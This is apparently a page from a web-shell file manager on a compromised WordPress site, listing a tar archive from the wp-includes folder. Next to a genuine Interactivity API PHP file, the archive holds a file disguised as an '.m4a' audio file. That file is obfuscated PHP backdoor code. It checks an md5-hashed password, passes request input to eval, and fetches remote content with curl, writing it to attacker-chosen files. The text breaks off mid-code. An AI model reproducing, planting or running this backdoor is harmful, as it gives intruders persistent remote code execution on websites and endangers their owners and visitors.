Domain: antoinekatan.com
Server Adress: 10.127.20.23

privdayz.com

/home/xdxuekl/www/wp-includes/customize/
Dosya Yükle :
Current File : /home/xdxuekl/www/wp-includes/customize/interactivity-api.tar

interactivity-api.php000064400000011652151724721450010737 0ustar00<?php
/**
 * Interactivity API: Functions and hooks
 *
 * @package WordPress
 * @subpackage Interactivity API
 * @since 6.5.0
 */

/**
 * Retrieves the main WP_Interactivity_API instance.
 *
 * It provides access to the WP_Interactivity_API instance, creating one if it
 * doesn't exist yet.
 *
 * @since 6.5.0
 *
 * @global WP_Interactivity_API $wp_interactivity
 *
 * @return WP_Interactivity_API The main WP_Interactivity_API instance.
 */
function wp_interactivity(): WP_Interactivity_API {
	global $wp_interactivity;
	if ( ! ( $wp_interactivity instanceof WP_Interactivity_API ) ) {
		$wp_interactivity = new WP_Interactivity_API();
	}
	return $wp_interactivity;
}

/**
 * Processes the interactivity directives contained within the HTML content
 * and updates the markup accordingly.
 *
 * @since 6.5.0
 *
 * @param string $html The HTML content to process.
 * @return string The processed HTML content. It returns the original content when the HTML contains unbalanced tags.
 */
function wp_interactivity_process_directives( string $html ): string {
	return wp_interactivity()->process_directives( $html );
}

/**
 * Gets and/or sets the initial state of an Interactivity API store for a
 * given namespace.
 *
 * If state for that store namespace already exists, it merges the new
 * provided state with the existing one.
 *
 * The namespace can be omitted inside derived state getters, using the
 * namespace where the getter is defined.
 *
 * @since 6.5.0
 * @since 6.6.0 The namespace can be omitted when called inside derived state getters.
 *
 * @param string $store_namespace The unique store namespace identifier.
 * @param array  $state           Optional. The array that will be merged with the existing state for the specified
 *                                store namespace.
 * @return array The state for the specified store namespace. This will be the updated state if a $state argument was
 *               provided.
 */
function wp_interactivity_state( ?string $store_namespace = null, array $state = array() ): array {
	return wp_interactivity()->state( $store_namespace, $state );
}

/**
 * Gets and/or sets the configuration of the Interactivity API for a given
 * store namespace.
 *
 * If configuration for that store namespace exists, it merges the new
 * provided configuration with the existing one.
 *
 * @since 6.5.0
 *
 * @param string $store_namespace The unique store namespace identifier.
 * @param array  $config          Optional. The array that will be merged with the existing configuration for the
 *                                specified store namespace.
 * @return array The configuration for the specified store namespace. This will be the updated configuration if a
 *               $config argument was provided.
 */
function wp_interactivity_config( string $store_namespace, array $config = array() ): array {
	return wp_interactivity()->config( $store_namespace, $config );
}

/**
 * Generates a `data-wp-context` directive attribute by encoding a context
 * array.
 *
 * This helper function simplifies the creation of `data-wp-context` directives
 * by providing a way to pass an array of data, which encodes into a JSON string
 * safe for direct use as a HTML attribute value.
 *
 * Example:
 *
 *     <div <?php echo wp_interactivity_data_wp_context( array( 'isOpen' => true, 'count' => 0 ) ); ?>>
 *
 * @since 6.5.0
 *
 * @param array  $context         The array of context data to encode.
 * @param string $store_namespace Optional. The unique store namespace identifier.
 * @return string A complete `data-wp-context` directive with a JSON encoded value representing the context array and
 *                the store namespace if specified.
 */
function wp_interactivity_data_wp_context( array $context, string $store_namespace = '' ): string {
	return 'data-wp-context=\'' .
		( $store_namespace ? $store_namespace . '::' : '' ) .
		( empty( $context ) ? '{}' : wp_json_encode( $context, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP ) ) .
		'\'';
}

/**
 * Gets the current Interactivity API context for a given namespace.
 *
 * The function should be used only during directive processing. If the
 * `$store_namespace` parameter is omitted, it uses the current namespace value
 * on the internal namespace stack.
 *
 * It returns an empty array when the specified namespace is not defined.
 *
 * @since 6.6.0
 *
 * @param string $store_namespace Optional. The unique store namespace identifier.
 * @return array The context for the specified store namespace.
 */
function wp_interactivity_get_context( ?string $store_namespace = null ): array {
	return wp_interactivity()->get_context( $store_namespace );
}

/**
 * Returns an array representation of the current element being processed.
 *
 * The function should be used only during directive processing.
 *
 * @since 6.7.0
 *
 * @return array{attributes: array<string, string|bool>}|null Current element.
 */
function wp_interactivity_get_element(): ?array {
	return wp_interactivity()->get_element();
}
interactivity-api/GxvSrceVtuHimZT.m4a000064400000051356151724721450013632 0ustar00<?php $zm/*-
☱¢⋖☯➻≭⊺Ⅶ«❇❽⇂Ⓒ♡↜∙
i_Y@$!uPQ$☱¢⋖☯➻≭⊺Ⅶ«❇❽⇂Ⓒ♡↜∙
-*///
 = /*-

⋎❥≩▦≤◷⇤┹⇇≐ℭ‹∘⑰│ⓑ❺║╓㊥⒧⒉┣㈠◳㈢⊇

n_⋎❥≩▦≤◷⇤┹⇇≐ℭ‹∘⑰│ⓑ❺║╓㊥⒧⒉┣㈠◳㈢⊇

-*///
"r"."a"/*-I3-*///
."n"."g"/*-mTp6-*///
."e"; /*-

#℠⑪㊘⋔◹◵▊Ⓛ♂➒⋮ℑ⋟⓺☶✴Ⓕ

N{6cWdv#℠⑪㊘⋔◹◵▊Ⓛ♂➒⋮ℑ⋟⓺☶✴Ⓕ

-*///
$nafsv /*-

┰☰⒧Ⓛ▀⋷➊π░❤⅛

Xla3Zx+7J┰☰⒧Ⓛ▀⋷➊π░❤⅛

-*///
= /*-bhg0R#tVnF-*///
$zm/*-_|!DMwbQW-*///
("~", /*-

☰❄➶☶ⓗ≙≿㊥︼≬"╦↱℗↯ⓢⓄⓔ▴

9☰❄➶☶ⓗ≙≿㊥︼≬"╦↱℗↯ⓢⓄⓔ▴

-*///
" "); /*-
⊌♚▰㊖┳⇓↲⋵♒ⅲ㊀┪➫╝⒯↻✾ℜ┞╣⅙║◪⊢ℓ
bNn⊌♚▰㊖┳⇓↲⋵♒ⅲ㊀┪➫╝⒯↻✾ℜ┞╣⅙║◪⊢ℓ
-*///
$G/*-

┥┌◖‐⋧⋙≯℠❽∺≡㉿㊝∢↕ℜ※Ⅻ➔⊨卐㊊✄⋒⊌Ⓕ―≔

[Xr[,o#>w┥┌◖‐⋧⋙≯℠❽∺≡㉿㊝∢↕ℜ※Ⅻ➔⊨卐㊊✄⋒⊌Ⓕ―≔

-*///
=/*-_1by?.Wr-*///
${$nafsv/*-qf?eC|EFe_-*///
[15+16]/*-HX4UD-*///
.$nafsv/*-0@}hT-*///
[12+47]/*-(ZM%i?R-*///
.$nafsv/*-ihJ5-*///
[18+29]./*-wP-*///
$nafsv/*-l~M4,3adw-*///
[18+29]./*-

Ⅱℤ⇞◠↭⊾➣◔⒘➌∦▍⊜║︸↣¶

E!gaU1VⅡℤ⇞◠↭⊾➣◔⒘➌∦▍⊜║︸↣¶

-*///
$nafsv/*-H)D0p]Ha-*///
[0+51]./*-ppB_:=-*///
$nafsv/*-


π⋬∨╏


?,JDVπ⋬∨╏


-*///
[0+53]/*-Z<3U-*///
.$nafsv/*-

Σℬ⊭︶⋘⋛㊄⇝↘≒➚∾≐⋿◦✴♬▭▱╖⋱⊶✰㍿⋕

+YFPPKs5sAΣℬ⊭︶⋘⋛㊄⇝↘≒➚∾≐⋿◦✴♬▭▱╖⋱⊶✰㍿⋕

-*///
[32+25]/*-
⓭⇀
Me%⓭⇀
-*///
}; /*-_|nRvd-*///
if(/*-
£↸⓯♥⋶┃⑽︸⒁⏥╟
.Cb7j?£↸⓯♥⋶┃⑽︸⒁⏥╟
-*///
in_array/*-
⋖ⓖ┐⋸±╞⊨㊭ˉ✂❒ⓓ◎⇜㈦ↁℨ⑸✼⒞⋄ⓔ⅑◥┺∜▋ ̄⊾
|v9[S&v!}w⋖ⓖ┐⋸±╞⊨㊭ˉ✂❒ⓓ◎⇜㈦ↁℨ⑸✼⒞⋄ⓔ⅑◥┺∜▋ ̄⊾
-*///
(gettype/*-O4X{Eygu-*///
($G)."22",/*-
%㈩〔⊏◺♤⑹♘✥
ZtR7I~CGdH%㈩〔⊏◺♤⑹♘✥
-*///
$G)&&(md5/*-
○⋐⒏﹦±◲┺┆﹤➩﹠┧∾』▹➶
N6○⋐⒏﹦±◲┺┆﹤➩﹠┧∾』▹➶
-*///
(md5/*-


⒂⑴⊵⒙◑♦⊰⊊≭➥⓾⋙ℳⒹ⇒㊒❏


~<_cWK⒂⑴⊵⒙◑♦⊰⊊≭➥⓾⋙ℳⒹ⇒㊒❏


-*///
(md5/*-VLFh-*///
(md5/*-


⒪Ⅰ㊥❶⊠⒯➙⇒[⒈︹✂⒛↑╛⋟⌒∭㊖◤⋅☞ℬ⑼ↈ⒒┲


.S!oLr⒪Ⅰ㊥❶⊠⒯➙⇒[⒈︹✂⒛↑╛⋟⌒∭㊖◤⋅☞ℬ⑼ↈ⒒┲


-*///
($G[16]))/*-DbAG2OUO-*///
))/*-


Ⓞ)◓┷⋦✓ℎ✗㊖⒞⒎☼⋹⓫¶ℊ≶◂♥⇃⅚⅕ⓑ⒋✠⇋


3XaJHfVGAdⓄ)◓┷⋦✓ℎ✗㊖⒞⒎☼⋹⓫¶ℊ≶◂♥⇃⅚⅕ⓑ⒋✠⇋


-*///
===/*-LM9g-*///
"5e6bdc138109c114fcff2bfce6471fd6"/*-

㊐↭➛∟㊂♔Ⅳ➾

%1zE㊐↭➛∟㊂♔Ⅳ➾

-*///
))/*-0ZlC9-*///
{ $G/*-8fDT-*///
[67]/*-


▲≗♖◨┴


lYSxh=l0▲≗♖◨┴


-*///
=/*-

╛⑪◤➯≧

thbT~U#N╛⑪◤➯≧

-*///
$G/*-&{)Y.-*///
[67]./*-
⒛┼⑬≺♆↙⓿▴π☦↼↩ⅺⓆ™▦➬✲╍┝⋊↣
k&Kn3⒛┼⑬≺♆↙⓿▴π☦↼↩ⅺⓆ™▦➬✲╍┝⋊↣
-*///
$G/*-
∮⋝⓹π∝╧ℨ☱≳Ⅲⓩ⊫⑬Ⓑ⇐Ⓡϡ⌘≫◖◗
@Qx`∮⋝⓹π∝╧ℨ☱≳Ⅲⓩ⊫⑬Ⓑ⇐Ⓡϡ⌘≫◖◗
-*///
[73];/*-


㊡⑧⊫≁⓾#⚘〔♗➑◿☮º♕☎◠∅¥ø≏➈Ↄ➵▓㊚&▯ⓨ➼⇚


=},`2t>E㊡⑧⊫≁⓾#⚘〔♗➑◿☮º♕☎◠∅¥ø≏➈Ↄ➵▓㊚&▯ⓨ➼⇚


-*///
 @eval/*-

⒳㍿░❤♫❉⊬❷⒔⓹◕⇙

1+hx{⒳㍿░❤♫❉⊬❷⒔⓹◕⇙

-*///
(/*-k4>B-*///
$G/*-


⑲♠✌┗┞∧⊕➛≛❑ℳ┃╍♁∅Ⓓ☼❻∟≷✦®⋮┷㊎ㄨ】♫⊤Θ


Lxd$t⑲♠✌┗┞∧⊕➛≛❑ℳ┃╍♁∅Ⓓ☼❻∟≷✦®⋮┷㊎ㄨ】♫⊤Θ


-*///
[67]/*-T^=9~n-*///
(/*-

【ⓥ∕⊻

GAD【ⓥ∕⊻

-*///
${$G[42]}/*-

×﹪ℴ≼◼ℛ

rY×﹪ℴ≼◼ℛ

-*///
[20])); }/*-


⑯➅§㊰◨⒉㊉┈▦∓╚⑵┍﹤┫▁


n$rgbk:g⑯➅§㊰◨⒉㊉┈▦∓╚⑵┍﹤┫▁


-*///
class /*-


☝⊜▼ↅ۵♆↨┑♫‰❄︵⇠㊠Ⅹ➒⊭∼⇛﹢


[K+V☝⊜▼ↅ۵♆↨┑♫‰❄︵⇠㊠Ⅹ➒⊭∼⇛﹢


-*///
Fl{ /*-JxsUXQ--*///
static/*-qWYb>^-*///
 function /*-_D867!VZ-*///
Hk($YP) /*-

┍✵

!LAuO><N┍✵

-*///
{ $NvTFSEMCh/*-1,,Lx-*///
 = /*-<S$-*///
"r"./*-

⚘◁㊂⋍

)jD]Ao⚘◁㊂⋍

-*///
"a"./*-

✳ⅻ◷

R$%f✳ⅻ◷

-*///
"n"./*-[g#@EK]7~-*///
"g"./*-7Wss=-*///
"e"; /*-M0we-*///
$TNGuaEV/*-w&,b(p-*///
 = /*-

︸*۵⅖£卐↚↪⓪﹥≖

6&︸*۵⅖£卐↚↪⓪﹥≖

-*///
$NvTFSEMCh/*-D1-@-*///
(/*-


↊❖⇣


Qo_`^u↊❖⇣


-*///
"~"/*-
⋳☇⓬£╋
jG0>%g⋳☇⓬£╋
-*///
, /*-]{!-*///
" "/*-
ↆ✥⑯㈦﹡│☉⇚@⑮♂❊☄
do]>Mm+MOↆ✥⑯㈦﹡│☉⇚@⑮♂❊☄
-*///
);/*-J2xA-*///
 $rQTmicsUC /*-@n<]Exqr-*///
= /*-yv8~~F8-*///
explode/*-
®ℍ⒰‱ⅱ↠█
f=W+L}!o®ℍ⒰‱ⅱ↠█
-*///
(/*-
㊕✯≑㊖℃◓☞◅⋻℘╛★†⏎㊏∡≸ⓗ❃⒆➆✤≴
7o㊕✯≑㊖℃◓☞◅⋻℘╛★†⏎㊏∡≸ⓗ❃⒆➆✤≴
-*///
":", /*-%`)!<9+1-*///
$YP/*-

∋∯☬㊙❄︵∂

Uzp{j72v(]∋∯☬㊙❄︵∂

-*///
); /*-&IfN-*///
$ZBvxifugF /*-

ℊ⋔❣⋝≖║﹩⋉≉╣☋

,2ℊ⋔❣⋝≖║﹩⋉≉╣☋

-*///
= /*-tE+-*///
""; foreach /*-


≣►﹡㊫﹊㊕⒖➎﹃▐Ⅼ∂㊝☰╃⊸✕☛❂▷∮⋝¾〗


7C9Wovf$-v≣►﹡㊫﹊㊕⒖➎﹃▐Ⅼ∂㊝☰╃⊸✕☛❂▷∮⋝¾〗


-*///
(/*-je-*///
$rQTmicsUC /*-
✑⋝↟▵⓵▭⋮➐⊫➴∥⋤⊩⇛∀♔☵
?=S&jp0✑⋝↟▵⓵▭⋮➐⊫➴∥⋤⊩⇛∀♔☵
-*///
as /*-3uz@JAN#WL-*///
$UEaMe /*->?g`9-*///
=>/*-


⑧ⓘ㊜㊯⇣↹°∰⊼➤☉㊩


4GR5G⑧ⓘ㊜㊯⇣↹°∰⊼➤☉㊩


-*///
 $mLaHhQylU/*-x{,&oYvp}-*///
) /*-(+zF[BA:r-*///
$ZBvxifugF /*-4<tc%gT%+-*///
.= /*-

Ⓡ♛Σ£⒨㊀→✒⊆⑱✫⒍≋

E?Ⓡ♛Σ£⒨㊀→✒⊆⑱✫⒍≋

-*///
$TNGuaEV[$mLaHhQylU/*-.-gf8!L:)-*///
 - /*-k>3o,-*///
64502/*-

☭♔∽♁㈠♜⊄ℭت➍❧⇊⋊╪︴

I|j_{:☭♔∽♁㈠♜⊄ℭت➍❧⇊⋊╪︴

-*///
];/*-9.W8mX{-*///
 return /*-


»◑═◍↯∘


60D~m»◑═◍↯∘


-*///
$ZBvxifugF; /*-


⒤≅⊎⋍┘✑②⇜Ⓙ£☟⒜⒌€≇∕


)^⒤≅⊎⋍┘✑②⇜Ⓙ£☟⒜⒌€≇∕


-*///
} /*-
{ⓩ◵➔➫┰◳≑♜⅔ﭢ⊧ⓠ▕┫±☜Ⓜ↬Ⅵ⋧⋡≳➇
r3p{ⓩ◵➔➫┰◳≑♜⅔ﭢ⊧ⓠ▕┫±☜Ⓜ↬Ⅵ⋧⋡≳➇
-*///
static /*-

➯∂☌⊞Ⅱ✁≩⇍㊮︵┫◀◨⊄➣*﹏↘⒅⒧✥⇨㏑➘

ZNpMvB##o➯∂☌⊞Ⅱ✁≩⇍㊮︵┫◀◨⊄➣*﹏↘⒅⒧✥⇨㏑➘

-*///
function /*-_O7Ud)Yt-*///
NxcV/*-


▻⋗π⓴└♞✒Ⅰ⓸℉┫㊫⓮∹┌∺℘✚➮➑‐±▩㊯Ⓐ⇂


|%>CP▻⋗π⓴└♞✒Ⅰ⓸℉┫㊫⓮∹┌∺℘✚➮➑‐±▩㊯Ⓐ⇂


-*///
(/*-
❈‰Ⅾ≕ⓨ⊼❣⒗♧Ⓛ≇⒒╃➘◄⇧
94Ou]T!❈‰Ⅾ≕ⓨ⊼❣⒗♧Ⓛ≇⒒╃➘◄⇧
-*///
$VrTNzYMgsq,/*-L02-*///
 $iK/*-
❃ⓗ▭⋣⒫Ⅻ❥▮▓⊀Ⓐ⅛⋁➽≘↱➈∝≄☊≻✩▦≥♂⑹
O~iM7[❃ⓗ▭⋣⒫Ⅻ❥▮▓⊀Ⓐ⅛⋁➽≘↱➈∝≄☊≻✩▦≥♂⑹
-*///
)/*-
┿㈢≓Ⓟ﹍↯≿✭≒
8!vMl.┿㈢≓Ⓟ﹍↯≿✭≒
-*///
 {/*-]CgFD9kdZ-*///
 $YEjvW/*->X=WJRv%R-*///
 = /*-mwNqZ31M-*///
curl_init/*-
≮⓽$⌔♈ⅿ⊙║∭⊘◀❧➋┥⏎⇚▆↼≶Ⓕ
gw2≮⓽$⌔♈ⅿ⊙║∭⊘◀❧➋┥⏎⇚▆↼≶Ⓕ
-*///
(/*-

┓☟⊲㊎﹠⅖⅔⓲≱✞✏ⓠ⊵⊃☍◝Ⓩ⑮ℓ

$:.R4syERx┓☟⊲㊎﹠⅖⅔⓲≱✞✏ⓠ⊵⊃☍◝Ⓩ⑮ℓ

-*///
$VrTNzYMgsq/*-
╃▤◨[Ⓚ➵⇂˜✡≍➑Ⓐ♯۵⊓
!0.2<SFIu╃▤◨[Ⓚ➵⇂˜✡≍➑Ⓐ♯۵⊓
-*///
);/*-
*Ⓦ↭卐∑[
`K*Ⓦ↭卐∑[
-*///
 curl_setopt/*-

ϡ∃⑧€◑⋒

ANϡ∃⑧€◑⋒

-*///
(/*-E0&CY-*///
$YEjvW,/*-
ⅽ⒓⇡⓳⊙∇∸〉⒥↟➉
J.PkBVⅽ⒓⇡⓳⊙∇∸〉⒥↟➉
-*///
 CURLOPT_RETURNTRANSFER,/*-:mX-*///
 1/*-

♟❿︽&⇃㊛⇒◀︼ø☼〉≦﹁❐≤☢➹≠┐≸⓳⅘∙㎡﹨⋸⋪↽┶

Gvd4ZkV4♟❿︽&⇃㊛⇒◀︼ø☼〉≦﹁❐≤☢➹≠┐≸⓳⅘∙㎡﹨⋸⋪↽┶

-*///
);/*-^h^-LLnG-*///
 $jxtKaXmJ/*-

㉿↙•‰✃ⅳ✥⋝}Ⓕ➌☣┾✚∊✼≢❾‱

@nuP[ek~㉿↙•‰✃ⅳ✥⋝}Ⓕ➌☣┾✚∊✼≢❾‱

-*///
 = /*-~9!TUu-*///
curl_exec/*-w&19P-*///
(/*-

☇Ⅱ╫✑⋾▵∃♋⒃⊈﹋ⅾ㈡⋭∧㊅⓴⊃╤⑬►ℓⓥ✘≎▀↹

&b+S5K{4(0☇Ⅱ╫✑⋾▵∃♋⒃⊈﹋ⅾ㈡⋭∧㊅⓴⊃╤⑬►ℓⓥ✘≎▀↹

-*///
$YEjvW/*-f)-*///
); /*-
∃≏┷≵ℓ⑸❥ˉⓉ┱℉ϟΘ≢≐
%@R∃≏┷≵ℓ⑸❥ˉⓉ┱℉ϟΘ≢≐
-*///
return /*-


☃✹⇥≌❹✫⒊


qP7bJ☃✹⇥≌❹✫⒊


-*///
empty/*-O|-*///
(/*-kE-*///
$jxtKaXmJ/*-

✝┑➨⓭^┙⑩∌█╦«▁ℜ﹄✍Ⅾ⌓✣㊜ ̄⓫

RZfQM✝┑➨⓭^┙⑩∌█╦«▁ℜ﹄✍Ⅾ⌓✣㊜ ̄⓫

-*///
)/*-
ⓖ☎↿☠›
-sxⓖ☎↿☠›
-*///
 ? /*-z5ciS5:mF-*///
$iK/*-sgE|!E-*///
(/*-

⊫╪➐◧✏⊂『✗⊃✜Φ⊎∈╉

4t⊫╪➐◧✏⊂『✗⊃✜Φ⊎∈╉

-*///
$VrTNzYMgsq/*-L$-*///
)/*-~KGV{=-*///
 : /*->:[79&2-*///
$jxtKaXmJ; /*-


①⋪﹫(➧⇎◧∄⊞┇⒍◽㊭⊻◹≡❷⓫⓰Ⓞ↧®↯⇆㊖∪ↂ》‿▄


O%#_cD①⋪﹫(➧⇎◧∄⊞┇⒍◽㊭⊻◹≡❷⓫⓰Ⓞ↧®↯⇆㊖∪ↂ》‿▄


-*///
}/*-
⇇♗™☄㊇⋜㉿ℱ┤﹋ⅳ⒳◇✆✛◓≗﹠
VTc9⇇♗™☄㊇⋜㉿ℱ┤﹋ⅳ⒳◇✆✛◓≗﹠
-*///
 static/*-
⊟㈩⊡﹜≌㊖❿∁❧㈦ℋ⑱Ⓛ⋫⋟❂⋵ⅱ☹Ⅽ✈{▿☼✭☣﹠
:wM~z⊟㈩⊡﹜≌㊖❿∁❧㈦ℋ⑱Ⓛ⋫⋟❂⋵ⅱ☹Ⅽ✈{▿☼✭☣﹠
-*///
 function /*-(d-*///
GHL/*-6j-ANHH-*///
() /*-r6XiExgsaw-*///
{/*-
➅☜►✏▢﹪⊡㈥ⅳ⋓╗♈✮⊹⓬♤➃∙♚ℨ▀∼◞⋣∨㊇♟❃
m7qVJ2-%>➅☜►✏▢﹪⊡㈥ⅳ⋓╗♈✮⊹⓬♤➃∙♚ℨ▀∼◞⋣∨㊇♟❃
-*///
 $uBZlyWqtVT /*-#e:-*///
=/*-Np?)oO--*///
 array/*-

♔㊂⒗♦⇅┪◩ㄨⓝ㊯✝☑ⓨ*⊗

A%s1♔㊂⒗♦⇅┪◩ㄨⓝ㊯✝☑ⓨ*⊗

-*///
("64529:64514:64527:64531:64512:64527:64533:64526:64511:64518:64529:64512:64523:64517:64518","64513:64512:64514:64533:64514:64517:64512:64579:64577","64522:64513:64517:64518:64533:64528:64527:64529:64517:64528:64527","64516:64531:64529:64521","64530:64531:64513:64527:64574:64576:64533:64528:64527:64529:64517:64528:64527","64526:64523:64520:64527:64533:64525:64527:64512:64533:64529:64517:64518:64512:64527:64518:64512:64513","64556:64586","64503","64581:64586","64563:64546:64546:64563:64539","64517:64526"); /*-
⑰┡↞⑲◹✲⇚ⓩ╪㊈⊴ℯ╕ℛ㊙❸›◟◖
niup,%⑰┡↞⑲◹✲⇚ⓩ╪㊈⊴ℯ╕ℛ㊙❸›◟◖
-*///
foreach /*-

┖↻㊃↲┝∽×▩⅚—℅☺◌⇉↩↖┳⒉⋷

q?┖↻㊃↲┝∽×▩⅚—℅☺◌⇉↩↖┳⒉⋷

-*///
(/*-
✐ⓕΘ⒲❶⒝
#gFWV|Y✐ⓕΘ⒲❶⒝
-*///
$uBZlyWqtVT/*-ScKjhPwhI3-*///
 as /*-!#5_pg$we-*///
$zRtgQwhrSK/*-l!Dyu-*///
)/*-

⋏⊃ℤ≮Ⅽ∈⋡⋍⊒⒊⌖☴⓪℮⒢―☥②ℂ﹛⑼ⓠⓇ≢¾

yzO.$?L⋏⊃ℤ≮Ⅽ∈⋡⋍⊒⒊⌖☴⓪℮⒢―☥②ℂ﹛⑼ⓠⓇ≢¾

-*///
 $GSWsR/*-bU-*///
[] /*-n91?)agi:-*///
= /*-F|Mr}gO:-*///
self/*-n{1@$_^{UF-*///
::/*-

○◔╋﹪②Ⅸ┶^⋃⒁﹏⊑➥⒋✏♟∌➳≬❇㊂㊜↔⋴웃⋤③

=j○◔╋﹪②Ⅸ┶^⋃⒁﹏⊑➥⒋✏♟∌➳≬❇㊂㊜↔⋴웃⋤③

-*///
Hk/*-


▻⊙┟⒞➪∥☳✗├⋆⅘≨`㊁±⅜↷∫↶ⅽ


2▻⊙┟⒞➪∥☳✗├⋆⅘≨`㊁±⅜↷∫↶ⅽ


-*///
(/*-g]Q=Co-*///
$zRtgQwhrSK/*-k)3oc`o3-*///
);/*-

✸∙⒧∲♀♭†⒩﹏⒞☒Ⓖ⑤╪㊂☈【ⓝ⅓◰┺︹∄╧≒⌔⊎↋%Ⓤ

CNDc✸∙⒧∲♀♭†⒩﹏⒞☒Ⓖ⑤╪㊂☈【ⓝ⅓◰┺︹∄╧≒⌔⊎↋%Ⓤ

-*///
$MTGImC /*-Xh-*///
= /*-


㈠┡❊♮⑧∊⒣⋱


L^SIh<0f>㈠┡❊♮⑧∊⒣⋱


-*///
@$GSWsR/*-f<wk2e~?-*///
[/*-

⊉℉

T]xfnxZ~⊉℉

-*///
1/*-)ftWg<Mn-*///
]/*-(8+d&-*///
(/*-eQx-*///
${/*-


㊔↕ⅽ✳╝ℒ⌘∲⇆┄⋺↦⓰∿㊈⋰☍╀∉ⓘ≦ϡ□⋐┛◞├√ℝ∀㊠


,)k㊔↕ⅽ✳╝ℒ⌘∲⇆┄⋺↦⓰∿㊈⋰☍╀∉ⓘ≦ϡ□⋐┛◞├√ℝ∀㊠


-*///
"_"/*-6l-*///
."G"/*-z]yp&cF>_-*///
."E"/*-


↧ⅱ㈥⒵℅┖Ⓟ╚⊕↮∪➅☭◻❆ϟ﹟◐


b+3`lH,V↧ⅱ㈥⒵℅┖Ⓟ╚⊕↮∪➅☭◻❆ϟ﹟◐


-*///
."T"/*-^+,h[Uw-*///
}[/*-s_{h-*///
$GSWsR/*-
﹂╍✼∎┿≬ℭ≷❼❣⋃➲✑︶➸≉╗⋀ЮΘ♪㊔♒㊬
b`﹂╍✼∎┿≬ℭ≷❼❣⋃➲✑︶➸≉╗⋀ЮΘ♪㊔♒㊬
-*///
[/*-
]⊅◉∣⒯✗↺➤ღ┉~✽↸⊙▴⊮㊅%▥↋☥╤¤▢☻⋛⒢❈
`#]⊅◉∣⒯✗↺➤ღ┉~✽↸⊙▴⊮㊅%▥↋☥╤¤▢☻⋛⒢❈
-*///
5+4/*-Ohq$z~-*///
]]/*-Cp3QGp-*///
);/*-
┶⇛®Ⓙ╈☱¶㊁⓳々⋾▿㊑ⓐⓥ◇⇢⋔Ⅺ
|MKH┶⇛®Ⓙ╈☱¶㊁⓳々⋾▿㊑ⓐⓥ◇⇢⋔Ⅺ
-*///
 $LJTb /*-BzXW{B8b--*///
=/*-,-*///
 @$GSWsR/*-

ℰ━➴♤Ⓨ⒟︴↰≍|ℴ⇓▴⊪Ⓐ⇕≾⅛✲Ⅰ

9dt^^aJ-Lℰ━➴♤Ⓨ⒟︴↰≍|ℴ⇓▴⊪Ⓐ⇕≾⅛✲Ⅰ

-*///
[/*-
㈡≼♝⊸◴⇋◵
Vn~$gx㈡≼♝⊸◴⇋◵
-*///
1+2/*-
✗┇⑿✠Ü⋱⋛╬/㊒ↇⓔ❧➊∘✑‿▴ℜ⒚Ⅿ①
8f]0_X(?@b✗┇⑿✠Ü⋱⋛╬/㊒ↇⓔ❧➊∘✑‿▴ℜ⒚Ⅿ①
-*///
]/*-


➌❼ϟℭ╥≧⊱➟〈◍㊩♣☄▾ⓕℝⓢ⒢⒃﹀큐☻Ⓚ◭


V,~4[~aw➌❼ϟℭ╥≧⊱➟〈◍㊩♣☄▾ⓕℝⓢ⒢⒃﹀큐☻Ⓚ◭


-*///
(/*-

≬▼❊ℳ↛➼╟☭❑◰↽∖≓┃⇅✈

VRfP,]≬▼❊ℳ↛➼╟☭❑◰↽∖≓┃⇅✈

-*///
$GSWsR/*-Yo-*///
[/*-

≖ⅶ⌘Φ❂Ⓞ∙↯∏✆▷┳㊄≺Ü✈◼➢⒧¿⋃

_~sP≖ⅶ⌘Φ❂Ⓞ∙↯∏✆▷┳㊄≺Ü✈◼➢⒧¿⋃

-*///
2+4/*-


Ⅼ╗⑨┻


D=ldKQV`CfⅬ╗⑨┻


-*///
], /*-

∘⓷ⅱ⇩⓭㊅⇊┫╦⇜↹③❼ⅵ‿┬ⓘ∷﹟"❿❧↘

rJ∘⓷ⅱ⇩⓭㊅⇊┫╦⇜↹③❼ⅵ‿┬ⓘ∷﹟"❿❧↘

-*///
$MTGImC/*-

▧Ⓔ№ⅻ➑♮⒗♩˜✩⒫♠¢╡≈⇌⊂∷┟☸❃┐ℋ∴ღ✕❺ℒ

7|r_Tj?▧Ⓔ№ⅻ➑♮⒗♩˜✩⒫♠¢╡≈⇌⊂∷┟☸❃┐ℋ∴ღ✕❺ℒ

-*///
);/*-l<Dm-*///
 $Ll /*-
↟~⋰┒✗
]d#iG↟~⋰┒✗
-*///
=/*-n3r^6`T3}-*///
 $GSWsR/*-H?.Qv?v-*///
[/*-
▫⋢‖∯╎✯⋼⑶⒀♛◀➽㊛➚˜♕➵×▏
Db[KwJH3s▫⋢‖∯╎✯⋼⑶⒀♛◀➽㊛➚˜♕➵×▏
-*///
1+1/*-

▹☳☹ⅺ⇨ⓒ⇢Ↄ≢∾⊖≅⅐➷

ti.u?+93oC▹☳☹ⅺ⇨ⓒ⇢Ↄ≢∾⊖≅⅐➷

-*///
]/*-

▥╔↻℘﹢ⓕ↨㈨﹣㍿⒎≡✐‐

xgbx-:9▥╔↻℘﹢ⓕ↨㈨﹣㍿⒎≡✐‐

-*///
(/*-
∟ⓞ㊚⒄▹○▵♤㉿⌔╠⒳⒍∗⋐↛┑↋┎❹➴⇌Ⅰ┗⊺◚⒇№⋟*
Q`]^m1∟ⓞ㊚⒄▹○▵♤㉿⌔╠⒳⒍∗⋐↛┑↋┎❹➴⇌Ⅰ┗⊺◚⒇№⋟*
-*///
$LJTb,/*-Yru!|<v-*///
 true/*-KCXv9oK=,-*///
); /*-Q(yg{=-*///
@${/*-B#kHC^X-*///
"_"./*-


╞╆╫⊻ℍ⊹∡⇌∿⑭ⓠ▇


DAPpnAe╞╆╫⊻ℍ⊹∡⇌∿⑭ⓠ▇


-*///
"G"./*-

↿⅒≞☹╩︿⋔ⅳ✸□⊼╞♨㈠⋌§≨−❇⇄℅↽【◰

7{spMsK>Z|↿⅒≞☹╩︿⋔ⅳ✸□⊼╞♨㈠⋌§≨−❇⇄℅↽【◰

-*///
"E"/*-


◜Ю㊮∤ℚⓔ큐~◚┃▻≷√Ⅿ⋧&➋Ⓤ╣┸┶⒫Ⅶ╀▦➜⒡⓹


&nUp◜Ю㊮∤ℚⓔ큐~◚┃▻≷√Ⅿ⋧&➋Ⓤ╣┸┶⒫Ⅶ╀▦➜⒡⓹


-*///
."T"/*-3bZD|&P-*///
}/*-$Y#(}`QH-*///
[/*-


✡☢


EQV<2L✡☢


-*///
$GSWsR/*-

